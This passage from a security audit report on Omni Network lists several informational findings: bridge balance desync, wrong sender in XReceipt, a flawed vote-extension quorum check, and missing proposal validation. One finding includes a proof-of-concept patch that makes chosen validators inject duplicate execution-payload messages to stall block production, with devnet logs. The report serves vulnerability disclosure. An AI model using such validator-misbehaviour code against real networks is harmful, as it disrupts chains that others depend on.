         // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs

         require(

---              ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
+++              ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),

             "OmniPortal: wrong conf level"

         );


         if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {

             inXBlockOffset[sourceChainId][shardId] = xheader.offset;

         }


         inXMsgOffset[sourceChainId][shardId] += 1;


         // do not allow user xcalls to the portal

         // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal

         if (xmsg_.to == address(this)) {

             emit XReceipt(
```

```
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }

        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪  xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪  VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;

        bytes memory errorMsg = success ? bytes("") : result;

        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
    }
```

3.7.72 Balance Desynchronization Vulnerability in OmniBridge

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The l1BridgeBalance can become discrepant when xcalls fail during bridge operations, leading to a potential race condition where users could withdraw funds that are already committed.
- Finding Description When bridging tokens to L1, OmniBridgeNative decreases l1BridgeBalance before the xcall is confirmed successful:

```
function _bridge(address to, uint256 amount) internal {
    require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");
    l1BridgeBalance -= amount;  // Decreased immediately

    omni.xcall{value: msg.value - amount}(
        l1ChainId,
        ConfLevel.Finalized,
        l1Bridge,
        abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
        XCALL_WITHDRAW_GAS_LIMIT
    );
}
```

Additionally, the bridge allows deposits to native which increases the l1BridgeBalance and could be combined with failed withdrawals to create a race condition.

- Impact Explanation Potential denial of service for valid bridge operations .
- Likelihood Explanation High likelihood because:
- Network issues can cause xcall failures
- Gas price spikes can cause xcall failures
- Proof of Concept (if required) Initial State:
- l1BridgeBalance = 1000 OMNI
- L1 actual = 1000 OMNI

Steps:

1. Alice bridges 100 OMNI to native chain . so l1 bridgeBalance is 1100 OMNI and also updated at omni contract
2. bob try to bridge 700 OMNI to l1 chain .
3. xcall fails to withdrawal of bob at l1 chain
4. L1 balance remains 1000
5. miloTruck try to bridge 50 OMNI to native chain .Now l1 bridgeBalance is 1150 OMNI and also updated at omni contract
6. Trust want to withdraw all of l1 bridgeBalance which is 1150 , call the bridge
7. before withdrawal of trust is Called at l1 chain , bob is able to call the withdrawal of 700 OMNI .now actual balance is 450(1150 - 700) 8.When trust withdrawal tx is trying to execute , it will be reverted due to insufficient funds.

- Recommendation (optional)

3.7.73 Usage of goleveldb is not recommended

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description As per the CometBFT documentation

  goleveldb is supported by default too, but it is no longer recommended for production use.

If we look however at the codebase and in particular, the running node on the local devnet, we see that `goleveldb` is still being used:

```
app-db-backend = "goleveldb"
```

as the docs mention, this is not recommended anymore.

Submitting as informational since it is OOS and impact is unclear.

3.7.74 `XReceipt` not using the proper sender in the event

Severity: Informational

Context: OmniPortal.sol#L236-L287

- Description When Omni portal execute an XMsg it will print an XReceipt, which is not used in the moment (hence why this is only `Info`). It seems like the XReceipt event is not using the proper sender, as currently using the **msg.sender**, which will be always the relayer, which doesn't seem useful, and the goal is probably to put the original sender from the source chain.
- Recommendation Apply the following patch. If this is intentional, please ignore.

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;
+       address sender = xmsg_.sender;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
↪   //@audit: evaluate broadcast impact
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );

        if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
            inXBlockOffset[sourceChainId][shardId] = xheader.offset;      //@audit: ?
        }

        inXMsgOffset[sourceChainId][shardId] += 1;

        // do not allow user xcalls to the portal
        // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal
        if (xmsg_.to == address(this)) { //@audit: If a user send inject address(0) here, that would simulate
↪   a syscall.
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }

        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪   xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪   VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;

        bytes memory errorMsg = success ? bytes("") : result;

-       emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
+       emit XReceipt(sourceChainId, shardId, offset, gasUsed, sender, success, errorMsg);
    }
```

3.7.75 Improper Vote Extensions Quorum Verification

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description ABCI++ changes the lifecycle of a transaction in Cosmos SDK blockchains drastically. The flow is as follows:
- PrepareProposal
- ProcessProposal
- ExtendVote - Non-determinstic
- VerifyVoteExtensions
- FinalizeBlock (BeginBlock, DeliverTx, EndBlock)
- Commit

The *Vote Extensions* flow is a little out of order. Although `VerifyVoteExtensions` is used to verify the submitted vote extensions, the information is not processed in that current block. Instead, the *next* block gets the vote extension information.

According to the ABCI++ documentation, having the voting information is the next block can be a major cause of issue if it's not properly validated. It is recommended to perform a **quorum** check on the vote extensions. This is to ensure that enough of the validators submitted votes for that round. In the case of something like a price oracle (a major case for vote extensions) having a high diversity of validators who voted on the extensions is important to prevent centralization, especially with the potential for denial of service bugs within `ExtendVote`.

Omni Network attempts to implement the suggested check for quorum on voting extensions in prouter.go. However, this check is flawed. In the documentation linked above, the verification is being performed over different data types. In the the documentation, it is using the `ExtendedCommitInfo` data type, which contains the vote extension information. On Omni Network, it is using the `CommitInfo` data structure which does not include the vote extension data. My hypothesis is that they're trying to see if the previous block had *quorum* in the first place but the Vote Extensions are optional. So, there is no guarentee that the a user who voted for the block voted on vote extensions which means that extra verification is required.

In practice, this means that the check is duplicating the regular quorum check in CometBFT to ensure that there is two-thirds voting power. According to the comment above the code block of *"Ensure the proposal includes quorum vote extensions"* it should be checking a quorum on vote extensions. However, this data type does not have access to any of the vote extensions information to verify that there is a quorum.

The impact is a centralization risk when processing vote extension information, which mainly contains event information for cross chain messages.

- Recommendation Pass in the `ExtendedCommitInfo` data structure added to `PrepareProposal` to `ProcessProposal` to verify the quroum check instead of using the `ProposedLastCommit` data structure.

Since the data being passed from `PrepareProposal` needs to be considered malicious, the `ExtendedCommitInfo` data structure will need to perform extra verification. ExtendedCommitInfo contains the following fields:

```
type ExtendedVoteInfo struct {
    // The validator that sent the vote.
    Validator Validator `protobuf:"bytes,1,opt,name=validator,proto3" json:"validator"`
    // Non-deterministic extension provided by the sending validator's application.
    VoteExtension []byte `protobuf:"bytes,3,opt,name=vote_extension,json=voteExtension,proto3"
    ↪  json:"vote_extension,omitempty"`
    // Vote extension signature created by CometBFT
    ExtensionSignature []byte `protobuf:"bytes,4,opt,name=extension_signature,json=extensionSignature,proto3"
    ↪  json:"extension_signature,omitempty"`
    // block_id_flag indicates whether the validator voted for a block, nil, or did not vote at all
    BlockIdFlag types1.BlockIDFlag
    ↪  `protobuf:"varint,5,opt,name=block_id_flag,json=blockIdFlag,proto3,enum=tendermint.types.BlockIDFlag"
    ↪  json:"block_id_flag,omitempty"`
}
```

To properly verify this, use the *ExtensionSignature* and compare it against the validator. Now that the data has been verified, use the voting power of the validator to compute the amount voted and total power. With this, a proper quorum check can be performed.

3.7.76 Missing invalidation in ProcessProposal allow malicious Validators to delay temporary halt Consensus on Execution Layer

Severity: Informational

Context: prouter.go#L51-L87

- Description Due To missing validation in ProcessProposal, malicious validators/ block proposers could simply avoid submitting any of the required messages `MsgAddVotes` or `MsgExecutionPayload` and their proposal wouldn't be rejected nor will they be jailed.
- Impact This is dependent on the type of message that the validators refuse to submit. e.g if the validators don't submit the `MsgExecutionPayload` the block production on the Execution layer will be delayed by at least 1 period (1 period for cosmos to select another proposer and finalize the block). This delay could be up to 1/3 Validators periods per block. If 1/3 of the validators decide to not submit any `MsgExecutionPayload`.
- Recommendation To mitigate this issue we simply need to make sure that the proposed block contains exactly 1 `MsgExecutionPayload` and 1 `MsgAddVotes` messages.

```
        }
++      if allowedMsgCounts[sdk.MsgTypeURL(&etypes.MsgExecutionPayload{})] != 0 &&
↪  allowedMsgCounts[sdk.MsgTypeURL(&atypes.MsgAddVotes{})] != 0 {
++          return rejectProposal(ctx, errors.New("no execution payload or attest module msg found"))
++      }
        return &abci.ResponseProcessProposal{Status: abci.ResponseProcessProposal_ACCEPT}, nil
```

3.7.77 `Malicious validators` can `slow down` the chain by `misbehaving` in certain ways without any consequences

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Context This report is related to the issue identified by **OMP-04** from `Sigma-Prime` audit.

```
ProcessProposal() Allows Multiples Of Each Transaction Type
```

- Description Validators should be **slashed when they misbehave** and that is enforced by the `slashing` module. Nevertheless, the current implementation doesn't seems properly integrate as it doesn't slash validator in some case, at least the one I will showcase in this report. Since this is not listed as Known Issue, this is a real problem.

When a validator is proposing multiple valid transaction type (AddVotes or ExecutionPayload), that is `not allowed` by the protocol for many reasons and will be rejected, that is actually the mitigation implemented for **OMP-04**. While the detection and rejection is working as expected, hence rejecting such proposal, which will trigger another round (so `delay the block creation`) and have the block proposed by the next proposer in line, the problem is that such **misbehavior is not slashed at all**. So malicious validators can keep doing this all along, `at no cost`, and delay the block production of the entire network. Imagine if 1/3 - 1 of the validators do this, that can cause the blockchain to rollover his block time production which is `2 sec` (see PoC).

Misbehavior overall identified are which are not slashed:

- Sending multiple valid message (showcased in this report)
- Tempering the `execution payload`
- Sending dummies vote during `ExtendVote` (that is covered in my other report, as it's a different attack as a whole)
- Ignoring message ExecutionPayload message (ignoring AddVotes is covered in another report, as it's a different attack as a whole)

- Proof of Concept I'm using the `e2e framework` to proove the problem using the `fuzzyhead` (but added 6 validators) network which include `10 validators`. So the idea is after reaching 50 blocks, whenever malicious validator (in my case I pick validator1, 2 and 3, so less than 1/3) is proposing, I will activate this attack which will be adding an additional `ExecutionPayload` message.

So overall here is what happen:

1) Chain start normally with the 4 validators happy until block 50.
2) This is where the malicious behavior kicks in. When proposing, they will add an additional Execution-Payload message during PrepareProposal and follow the normal protocol flow otherwise.
3) Now other validators will receive this additional message and reject the proposal, which will trigger another round using another proposer, `delaying the block creation`.

Open docker console (at least in Windows, or fetch the logs manually from validators containers), you will see the problem occurs at some point after block 50. In my case it was at `block 53`.

As follow you can see validator 1, 2, 3 and 9 outputs, plus a normal produced block. The output show clearly the rollover, as it took `4 sec` (so double the normal time) to produce the block 53, while only one malicious validator being proposer, that would be worst if more malicious validators would be selected in a row.

```
24-11-02 23:18:26.512 - FinalizeBlock          height=52
24-11-02 23:18:30.003 - FinalizeBlock         height=53
```

Plus, we can also see that the following trace is not seen anywhere, which usually show up when a validator is offline (syncing for example), which confirm there is no slashing happening, hence why the powers for the malicious validator is not reduced.

```
DEBU absent validator                          module=x/slashing height=3
↪  validator=omnivalcons1lqgtmd892j52zt7xjdqqmvcf095w0k5axykrz0 missed=2 threshold=1000
```

- How to reproduce Apply those changes and do the following commands from project root.
- `make build-docker` (to build the docker images with the new changes which include the hack)
- `make devnet-deploy2` (to deploy the local network)
- `make devnet-clean2` (to stop it once you confirmed the issue)

Makefile

```
@@ -76,6 +76,16 @@ devnet-clean: ## Deletes devnet1 containers
        @echo "Stopping the devnet in ./e2e/run/devnet1"
        @go run github.com/omni-network/omni/e2e -f e2e/manifests/devnet1.toml clean

+.PHONY: devnet-deploy2
+devnet-deploy2: ## Deploys fuzzyhead
+       @echo "Creating a docker-compose devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml deploy
+
+.PHONY: devnet-clean2
+devnet-clean2: ## Deletes fuzzyhead containers
+       @echo "Stopping the devnet in ./e2e/run/fuzzyhead"
+       @go run github.com/omni-network/omni/e2e -f e2e/manifests/fuzzyhead.toml clean
+
 .PHONY: e2e-ci
 e2e-ci: ## Runs all e2e CI tests
        @go install github.com/omni-network/omni/e2e
```

e2e/manifests/fuzzyhead.toml

```
network = "devnet"
anvil_chains = ["mock_l2", "mock_l1"]

pingpong_n = 6 # Increased ping pong to span forks

[node.validator01]
[node.validator02]
[node.validator03]
[node.validator04]
+[node.validator05]
+[node.validator06]
+[node.validator07]
+[node.validator08]
+[node.validator09]
+[node.validator10]

[perturb]
mock_l1 = ["fuzzyhead_dropmsgs","fuzzyhead_dropblocks","fuzzyhead_attroot","fuzzyhead_moremsgs"]


[node.fullnode01]
mode = "archive"
```

octane/evmengine/keeper/abci.go

```
    // Create execution payload message
    payloadData, err := json.Marshal(payloadResp.ExecutionPayload)
    if err != nil {
        return nil, errors.Wrap(err, "encode")
    }

+     var globalPrososer string
+   h := hex.EncodeToString(req.ProposerAddress)
+   const maxLen = 7
+   if len(h) > maxLen {
+       h = h[:maxLen]
+   }
+   globalPrososer = h
+
+
+   headtmp, err := k.getExecutionHead(ctx)
+   attack := false
+   // Only infect a specific proposer when it's his turn to propose
+   if globalPrososer == "2679b0b" ||
+       globalPrososer == "e3b82d3" ||
+       globalPrososer == "61a2a25" {
+       // sometimes make malicious Withdrawals
+       if headtmp.GetBlockHeight() > 50 {
+           nativeLog.Printf("*******************************Octane::Keeper::PrepareProposal(): INFECTING TX
↪  quantity")
+           attack = true
+       }
+   }
+
+   b := k.txConfig.NewTxBuilder()
+   if attack {
+       var msgs []sdk.Msg
+       msgs = append(msgs, payloadMsg)
+       msgs = append(msgs, payloadMsg)               // An additional payload, which will force rejection
+       msgs = append(msgs, voteMsgs...)
+       if err := b.SetMsgs(msgs...); err != nil {
+           return nil, errors.Wrap(err, "set tx builder msgs")
+       }
+   } else {
+       // Combine all the votes messages and the payload message into a single transaction.
+       if err := b.SetMsgs(append(voteMsgs, payloadMsg)...); err != nil {
+           return nil, errors.Wrap(err, "set tx builder msgs")
+       }
+   }
+
```

- Impact `High` as less then 1/3 of validators can `slow down the chain` and rollover his block period and this **without any consequense**. I was `unlucky` in my PoC, as the malicious proposer proposed, and the next one was a good one. In the worst case, we could have seen 3 malicious proposer in a

row, so block creation would have been delayed for 6-8 sec. instead of only 2 sec.

- Likelihood `High` this would certainly happen once validator are permissionless or an honest validator that turn malicious during permissioned release.
- Recommendation You should integrate slashing properly such that **misbehaviors are penalized** at least.

PoC - OUTPUT

```
Val1 (proposer == 2679b0b)
--------
2024-11-02 19:18:27 24-11-02 23:18:27.597 DEBU  ABCI call: ProcessProposal            height=53 proposer=61a2a25
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:27 2024/11/02 23:18:27
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xe535766f634c77f5566330a4b7df5c13976fa4980228f7a641c1c07a497f06dd
2024-11-02 19:18:27 24-11-02 23:18:27.603 ERRO Rejecting process proposal               err="message type
↪  included too many times" msg_type=/octane.evmengine.types.MsgExecutionPayload stacktrace="[errors.go:14
↪  prouter.go:69 abci.go:520 cmt_abci.go:40 abci.go:85 local_client.go:164 app_conn.go:89 execution.go:166
↪  state.go:1381 state.go:1338 state.go:2055 state.go:910 state.go:836 asm_amd64.s:1700]"
2024-11-02 19:18:27 24-11-02 23:18:27.603 ERRO prevote step: state machine rejected a proposed block; this
↪  should not happen:the proposer may be misbehaving; prevoting nil module=consensus height=53 round=0
↪  err=<nil>
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-11-02 19:18:27 24-11-02 23:18:27.823 DEBU Not creating vote for empty cross chain block chain=mock_l1|F
↪  height=84
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.849 DEBU  Created vote for cross chain block    chain=mock_l2|L
↪  height=92 offset=24 msgs=1 L|omni_evm=6
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-11-02 19:18:27 2024/11/02 23:18:27 **************************Voter::Vote(): allowSkip: false, height:
↪  92, XMsg count: 1
2024-11-02 19:18:27 24-11-02 23:18:27.857 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=92 offset=27 msgs=1 F|mock_l2=5
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.832 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=85 offset=24 msgs=1 L|mock_l2=6
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::Vote(): allowSkip: false, height:
↪  85, XMsg count: 1
2024-11-02 19:18:28 24-11-02 23:18:28.839 DEBU  Created vote for cross chain block    chain=mock_l2|F
↪  height=85 offset=21 msgs=1 F|mock_l1=4
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:28 24-11-02 23:18:28.844 DEBU Not creating vote for empty cross chain block chain=mock_l2|L
↪  height=93
2024-11-02 19:18:28 2024/11/02 23:18:28 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.577 DEBU  ABCI call: ProcessProposal            height=53 proposer=360a115
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A --> 1 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
```

```
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
...
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b --> 6 (256)
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 6 (256)
2024-11-02 19:18:29 24-11-02 23:18:29.593 DEBU Marked local votes as proposed           votes=6 1001651=[18]
↪  1651="[20 20]" 1654="[20 22]" 1652=[26]
2024-11-02 19:18:29 2024/11/02 23:18:29 ***************************Voter::SetProposed()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:18:29 2024/11/02 23:18:29
↪  *********************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:29 24-11-02 23:18:29.800 DEBU  ABCI call: ExtendVote                 height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 *******************************ExtendVote(): LocalAddress -->
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7. Available: 9
2024-11-02 19:18:29 24-11-02 23:18:29.802 INFO Voted for rollup blocks                  votes=7 1651-4=[21]
↪  1652-4="[23 24]" 1652-1=[27] 1654-4=[21] 1654-1="[23 24]" 1001651-4=[19] 1651-1=[21]
2024-11-02 19:18:29 24-11-02 23:18:29.816 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.822 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.826 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.830 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::Vote(): allowSkip: false, height:
↪  86, XMsg count: 1
2024-11-02 19:18:29 24-11-02 23:18:29.842 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.844 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=86 offset=25 msgs=1 L|omni_evm=5
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 86,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Voter::runOnce(): height: 94,
↪  AttestInterval: 10
2024-11-02 19:18:29 24-11-02 23:18:29.885 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.889 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 24-11-02 23:18:29.893 DEBU  ABCI call: VerifyVoteExtension        height=53
2024-11-02 19:18:29 2024/11/02 23:18:29 ***********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x26264bea7ef1282e24602a154c3d98893d16f402428e70b042cb2fad768cf1f2, height: 53
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:18:29 2024/11/02 23:18:29 ****************************Keeper::Add()
2024-11-02 19:18:29 24-11-02 23:18:29.939 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=142 existing_valset_id=10 vote_valset_id=11 chain=mock_l1|F attest_offset=22 sigs=1
2024-11-02 19:18:29 24-11-02 23:18:29.940 DEBU Marked local votes as committed          votes=6 1654="[20 22]"
↪  1652=[26] 1001651=[18] 1651="[20 20]"
```

```
2024-11-02 19:18:29 2024/11/02 23:18:29 **************************Voter::SetCommitted()
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************Octane::msgServer::ExecutionPayload()
2024-11-02 19:18:29 2024/11/02 23:18:29 ******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x336a19d045de4c000abebc6bb9388b685b0c8a41cff00647c194df3f1b23b578
2024-11-02 19:18:29 24-11-02 23:18:29.960 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.960 INFO EVM staking delegation detected, delegating
↪  delegator=0x08585C0c34Ef84F7638c797DE454e287a051874E validator=0x08585C0c34Ef84F7638c797DE454e287a051874E
↪  amount=1000000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.960 DEBU  Delegation shares modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-11-02 19:18:29 24-11-02 23:18:29.960 DEBU  Delegation modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-11-02 19:18:29 24-11-02 23:18:29.960 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.961 INFO EVM staking delegation detected, delegating
↪  delegator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 validator=0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73
↪  amount=1000000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.961 DEBU  Delegation shares modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:29 24-11-02 23:18:29.961 DEBU  Delegation modified
↪  acc_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73 val_addr=698824ED0C40A0E0439A8C0135AD6F2AEB580B73
2024-11-02 19:18:29 24-11-02 23:18:29.961 DEBU minted coins from module account         module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.961 INFO EVM staking delegation detected, delegating
↪  delegator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05 validator=0x7A03674f4F02f5718F08b8D514B8484cc0444D05
↪  amount=1000000000000000000
2024-11-02 19:18:29 24-11-02 23:18:29.961 DEBU  Delegation shares modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:29 24-11-02 23:18:29.961 DEBU  Delegation modified
↪  acc_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05 val_addr=7A03674F4F02F5718F08B8D514B8484CC0444D05
2024-11-02 19:18:29 24-11-02 23:18:29.962 DEBU minted coins from module account         module=x/bank
↪  amount=10000000000000000000stake from=evmstaking
2024-11-02 19:18:29 24-11-02 23:18:29.962 INFO EVM staking delegation detected, delegating
